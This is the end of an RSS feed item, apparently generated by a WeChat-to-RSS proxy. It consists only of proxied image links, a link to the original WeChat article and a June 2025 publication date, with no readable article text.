<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=88a23a11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfDAMtZ8Elibz8AmoNeu09X7vqv4ibKEMHeOOAM5D7XasjicnuxL9VmsQgA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=85570525&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_svg%2F04LrpEqAf4sBahicTELkciaUibcUONmicuY52iajWS9CsiaG9bomZaficMFDnQDhNdFCIGMxnKwibcialic6Bcf2Xl1WgN2S3ibz3TJFn3B%2F640%3Fwx_fmt%3Dsvg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=88a23a11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfDAMtZ8Elibz8AmoNeu09X7vqv4ibKEMHeOOAM5D7XasjicnuxL9VmsQgA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=88a23a11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfDAMtZ8Elibz8AmoNeu09X7vqv4ibKEMHeOOAM5D7XasjicnuxL9VmsQgA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=88a23a11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfDAMtZ8Elibz8AmoNeu09X7vqv4ibKEMHeOOAM5D7XasjicnuxL9VmsQgA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=85570525&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_svg%2F04LrpEqAf4sBahicTELkciaUibcUONmicuY52iajWS9CsiaG9bomZaficMFDnQDhNdFCIGMxnKwibcialic6Bcf2Xl1WgN2S3ibz3TJFn3B%2F640%3Fwx_fmt%3Dsvg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3cf5c582&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfHw3rMhTTlRD7fJLFDZE2fAscwIz0BTZAmsiavCw2bXgDxsicDw5m8TjQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d49c431b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfWxdlqicbR7OtPHtYwdSW3APkS0zVJEaBNdlZLIB4cs3icXp98Mju6Tiaw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=88a23a11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfDAMtZ8Elibz8AmoNeu09X7vqv4ibKEMHeOOAM5D7XasjicnuxL9VmsQgA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3693dc74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22Afnicy9ZuL1LxO8q5L4O5Xxg6tDdfibhmlHlQHGDzGRFyh9SV2mxibK1Auw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=88a23a11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfDAMtZ8Elibz8AmoNeu09X7vqv4ibKEMHeOOAM5D7XasjicnuxL9VmsQgA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ca1fdb2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22Af1iafY8s43dq5Jlw3kZTOENSiaicgJ0fjibPfyZkUhqVv9vDIXopwwNplpw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=88a23a11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfDAMtZ8Elibz8AmoNeu09X7vqv4ibKEMHeOOAM5D7XasjicnuxL9VmsQgA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=127cb155&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22Af0lPrA6uGOXH7OMBAv8NFpuuaqtU5QqdXyr01ejcqibQ4hPbwFIX9zQA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=801d6932&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfRibKGaz5377QPckKY6LXEpXAFfthkTRv0IEajW6XibwibBHunyHG7TyXg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=deee9372&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22Af0xjyZh4n5adRIIWt7RdMqrd0uib5XA7nnbFyNYq2I32RwRYohb9wiaCw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79126163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RU0jt21PtjcICSa08gr22AfVdEYGooWMycxcc7iadhn4CkDI2w8IxS56syTflIbdzJtcfmwhrOXcfQ%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247521325">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=aed02fa7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247521325%26idx%3D1%26sn%3D6647eebdeafab457f8f3ec6f77352879">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 13 Jun 2025 17:31:00 +0800</pubDate>
    </item>
  </channel>
</rss>